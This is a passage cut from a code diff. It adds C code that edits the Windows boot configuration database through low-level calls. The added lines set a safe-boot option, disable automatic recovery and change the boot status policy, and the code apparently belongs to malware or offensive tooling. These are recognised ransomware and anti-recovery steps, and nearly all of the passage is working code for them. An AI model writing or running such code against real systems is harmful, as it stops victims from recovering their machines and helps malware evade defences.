BCDE_OSLOADER_TYPE_SAFEBOOT, + SafeBootData, + 0x08 + ); + + // 5. Disable recovery mode + BYTE RecoveryEnabled[0x01] = { 0x00 }; + BcdModifyBootConfiguration( + &hWindowsBootMgrDefaultObjElements, + BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED, + RecoveryEnabled, + 0x01 + ); + + // 5. Update boot policy + BYTE BootpolicyData[0x08] = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + BcdModifyBootConfiguration( + &hWindowsBootMgrDefaultObjElements, + BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY, + BootpolicyData, + 0x08 + ); + + // Cleanup and exit + NtClose(hMutant); + NtClose(hWindowsBootMgrDefaultObj); + NtClose(hWindowsBootMgrDefaultObjElements); + return EXIT_SUCCESS; +} \ No newline at end of file